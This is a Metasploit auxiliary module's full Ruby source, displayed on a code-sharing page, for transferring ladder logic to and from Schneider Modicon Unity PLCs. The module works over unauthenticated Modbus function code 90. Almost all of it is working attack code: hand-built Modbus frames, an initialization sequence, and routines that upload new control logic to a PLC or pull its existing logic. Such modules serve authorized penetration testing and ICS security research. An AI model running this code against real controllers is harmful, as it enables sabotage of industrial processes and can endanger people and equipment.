Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
19851 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Rex::Socket::Tcp
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
15
'Description' => %q{
16
The Schneider Modicon with Unity series of PLCs use Modbus function
17
code 90 (0x5a) to send and receive ladder logic. The protocol is
18
unauthenticated, and allows a rogue host to retrieve the existing
19
logic and to upload new logic.
20
21
Two modes are supported: "SEND" and "RECV," which behave as one might
22
expect -- use 'set mode ACTIONAME' to use either mode of operation.
23
24
In either mode, FILENAME must be set to a valid path to an existing
25
file (for SENDing) or a new file (for RECVing), and the directory must
26
already exist. The default, 'modicon_ladder.apx' is a blank
27
ladder logic file which can be used for testing.
28
29
This module is based on the original 'modiconstux.rb' Basecamp module from
30
DigitalBond.
31
},
32
'Author' => [
33
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
34
'todb' # Metasploit fixups
35
],
36
'License' => MSF_LICENSE,
37
'References' => [
38
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
39
],
40
'DisclosureDate' => '2012-04-05',
41
'Notes' => {
42
'Stability' => [CRASH_SAFE],
43
'SideEffects' => [IOC_IN_LOGS],
44
'Reliability' => []
45
}
46
)
47
)
48
49
register_options(
50
[
51
OptString.new(
52
'FILENAME',
53
[
54
true,
55
'The file to send or receive',
56
File.join(Msf::Config.data_directory, 'exploits', 'modicon_ladder.apx')
57
]
58
),
59
OptEnum.new('MODE', [
60
true, 'File transfer operation', 'SEND',
61
[
62
'SEND',
63
'RECV'
64
]
65
]),
66
Opt::RPORT(502)
67
]
68
)
69
end
70
71
def run
72
unless valid_filename?
73
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
74
return nil
75
end
76
77
@modbuscounter = 0x0000 # used for modbus frames
78
connect
79
init
80
case datastore['MODE']
81
when 'SEND'
82
writefile
83
when 'RECV'
84
readfile
85
end
86
end
87
88
def valid_filename?
89
if datastore['MODE'] == 'SEND'
90
File.readable? datastore['FILENAME']
91
else
92
File.writable?(File.split(datastore['FILENAME'])[0].to_s)
93
end
94
end
95
96
# this is used for building a Modbus frame
97
# just prepends the payload with a modbus header
98
def makeframe(packetdata)
99
if packetdata.size > 255
100
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
101
return
102
end
103
payload = ''
104
payload += [@modbuscounter].pack('n')
105
payload += "\x00\x00\x00" # dunno what these are
106
payload += [packetdata.size].pack('c') # size byte
107
payload + packetdata
108
end
109
110
# a wrapper just to be sure we increment the counter
111
def sendframe(payload)
112
sock.put(payload)
113
@modbuscounter += 1
114
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
115
r = sock.recv(65535, 0.1)
116
return r
117
end
118
119
# This function sends some initialization requests
120
# required for priming the Quantum
121
def init
122
payload = "\x00\x5a\x00\x02"
123
sendframe(makeframe(payload))
124
payload = "\x00\x5a\x00\x01\x00"
125
sendframe(makeframe(payload))
126
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
127
sendframe(makeframe(payload))
128
payload = "\x00\x5a\x00\x03\x00"
129
sendframe(makeframe(payload))
130
payload = "\x00\x5a\x00\x03\x04"
131
sendframe(makeframe(payload))
132
payload = "\x00\x5a\x00\x04"
133
sendframe(makeframe(payload))
134
payload = "\x00\x5a\x00\x01\x00"
135
sendframe(makeframe(payload))
136
payload = "\x00\x5a\x00\x0a\x00"
137
(0..0xf9).each { |x| payload += [x].pack('c') }
138
sendframe(makeframe(payload))
139
payload = "\x00\x5a\x00\x04"
140
sendframe(makeframe(payload))
141
payload = "\x00\x5a\x00\x04"
142
sendframe(makeframe(payload))
143
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
144
sendframe(makeframe(payload))
145
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
146
sendframe(makeframe(payload))
147
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
148
sendframe(makeframe(payload))
149
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
150
sendframe(makeframe(payload))
151
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
152
sendframe(makeframe(payload))
153
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
154
sendframe(makeframe(payload))
155
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
156
sendframe(makeframe(payload))
157
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
158
sendframe(makeframe(payload))
159
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
160
sendframe(makeframe(payload))
161
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
162
sendframe(makeframe(payload))
163
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
164
sendframe(makeframe(payload))
165
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
166
sendframe(makeframe(payload))
167
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
168
payload += 'USER-714E74F21B' # Yep, really
169
# payload += "META-SPLOITMETA"
170
sendframe(makeframe(payload))
171
payload = "\x00\x5a\x01\x04"
172
sendframe(makeframe(payload))
173
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
174
sendframe(makeframe(payload))
175
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
176
sendframe(makeframe(payload))
177
payload = "\x00\x5a\x01\x12"
178
sendframe(makeframe(payload))
179
payload = "\x00\x5a\x01\x04"
180
sendframe(makeframe(payload))
181
payload = "\x00\x5a\x01\x12"
182
sendframe(makeframe(payload))
183
payload = "\x00\x5a\x01\x04"
184
sendframe(makeframe(payload))
185
payload = "\x00\x5a\x00\x02"
186
sendframe(makeframe(payload))
187
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
188
sendframe(makeframe(payload))
189
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
190
sendframe(makeframe(payload))
191
payload = "\x00\x5a\x01\x04"
192
sendframe(makeframe(payload))
193
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
194
sendframe(makeframe(payload))
195
end
196
197
# Write the contents of local file filename to the target's filenumber
198
# blank logic files will be available on the Digital Bond website
199
def writefile
200
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
201
blocksize = 244 # bytes per block in file transfer
202
buf = File.binread(datastore['FILENAME'])
203
fullblocks = buf.length / blocksize
204
if fullblocks > 255
205
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
206
return
207
end
208
lastblocksize = buf.length - (blocksize * fullblocks)
209
fileblocks = fullblocks
210
if lastblocksize != 0
211
fileblocks += 1
212
end
213
filetype = buf[0..2]
214
if filetype == 'APX'
215
filenum = "\x01"
216
elsif filetype == 'APB'
217
filenum = "\x10"
218
end
219
payload = "\x00\x5a\x00\x03\x01"
220
sendframe(makeframe(payload))
221
payload = "\x00\x5a\x00\x02"
222
sendframe(makeframe(payload))
223
payload = "\x00\x5a\x01\x04"
224
sendframe(makeframe(payload))
225
payload = "\x00\x5a\x00\x02"
226
sendframe(makeframe(payload))
227
payload = "\x00\x5a\x01\x04"
228
sendframe(makeframe(payload))
229
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
230
sendframe(makeframe(payload))
231
payload = "\x00\x5a\x00\x02"
232
sendframe(makeframe(payload))
233
payload = "\x00\x5a\x01\x30\x00"
234
payload += filenum
235
response = sendframe(makeframe(payload))
236
if response[8..9] == "\x01\xfe"
237
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
238
else
239
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
240
return
241
end
242
payload = "\x00\x5a\x01\x04"
243
sendframe(makeframe(payload))
244
block = 1
245
block2status = 0 # block 2 must always be sent twice
246
while block <= fullblocks
247
payload = "\x00\x5a\x01\x31\x00"
248
payload += filenum
249
payload += [block].pack('c')
250
payload += "\x00\xf4\x00"
251
payload += buf[((block - 1) * 244)..((block * 244) - 1)]
252
res = sendframe(makeframe(payload))
253
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
254
if res[8..9] != "\x01\xfe"
255
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
256
return
257
end
258
# redo this iteration of the loop if we're on block 2
259
if (block2status == 0) && (block == 2)
260
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
261
block2status = 1
262
redo
263
end
264
block += 1
265
end
266
if lastblocksize > 0
267
payload = "\x00\x5a\x01\x31\x00"
268
payload += filenum
269
payload += [block].pack('c')
270
payload += "\x00" + [lastblocksize].pack('c') + "\x00"
271
payload += buf[((block - 1) * 244)..(((block - 1) * 244) + lastblocksize)]
272
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
273
res = sendframe(makeframe(payload))
274
if res[8..9] != "\x01\xfe"
275
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
276
return
277
end
278
end
279
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
280
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack('c') + "\x00"
281
sendframe(makeframe(payload))
282
end
283
284
# Only reading the STL file is supported at the moment :(
285
def readfile
286
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
287
file = File.open(datastore['FILENAME'], 'wb')
288
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
289
sendframe(makeframe(payload))
290
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
291
block = 1
292
filedata = ''
293
finished = false
294
until finished
295
payload = "\x00\x5a\x01\x34\x00\x01"
296
payload += [block].pack('c')
297
payload += "\x00"
298
response = sendframe(makeframe(payload))
299
filedata += response[0xe..]
300
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..].inspect}"
301
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
302
finished = true
303
else
304
block += 1
305
end
306
end
307
print_status("#{rhost}:#{rport} - MODBUS - Closing file")
308
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack('c') + "\x00"
309
sendframe(makeframe(payload))
310
file.print filedata
311
file.close
312
end
313
314
def cleanup
315
disconnect
316
rescue StandardError
317
nil
318
end
319
end
320
321